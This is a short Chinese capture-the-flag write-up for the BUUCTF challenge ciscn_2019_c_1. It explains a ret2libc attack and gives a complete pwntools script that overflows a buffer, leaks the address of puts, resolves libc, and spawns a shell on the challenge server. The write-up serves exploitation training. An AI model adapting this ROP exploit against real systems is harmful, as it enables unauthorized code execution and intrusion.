buu-ciscn_2019_c_1-好久不见36
-
泄露地址:
利用程序中已执行的函数(如puts
)泄露其地址,取末尾3个字节查找对应的 libc 版本。 -
计算偏移量:
程序中函数地址 = libc 中函数地址 + 偏移量。通过泄露的地址减去 libc 中的函数地址,得到偏移量。 -
构造 ROP:
利用偏移量计算其他函数地址(如system
和/bin/sh
),构造 ROP 链执行system("/bin/sh")
,获取 shell。
from pwn import*
from LibcSearcher import*
r=remote('node5.buuoj.cn',26160)
elf=ELF('./123')
main = 0x400B28
pop_rdi = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
r.sendlineafter('Input your choice!\n','1')
offset = 0x50+8
payload = b'\0'+b'a'*(offset-1)
payload=payload+p64(pop_rdi)
payload=payload+p64(puts_got)
payload=payload+p64(puts_plt)
payload=payload+p64(main)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
Offset = puts_addr - libc.dump('puts')
print(hex(Offset))
binsh = Offset+libc.dump('str_bin_sh')
system = Offset+libc.dump('system')
r.sendlineafter('Input your choice!\n','1')
payload = b'\0'+b'a'*(offset-1)
payload=payload+p64(ret)
payload=payload+p64(pop_rdi)
payload=payload+p64(binsh)
payload=payload+p64(system)
r.sendlineafter('Input your Plaintext to be encrypted\n',payload)
r.interactive()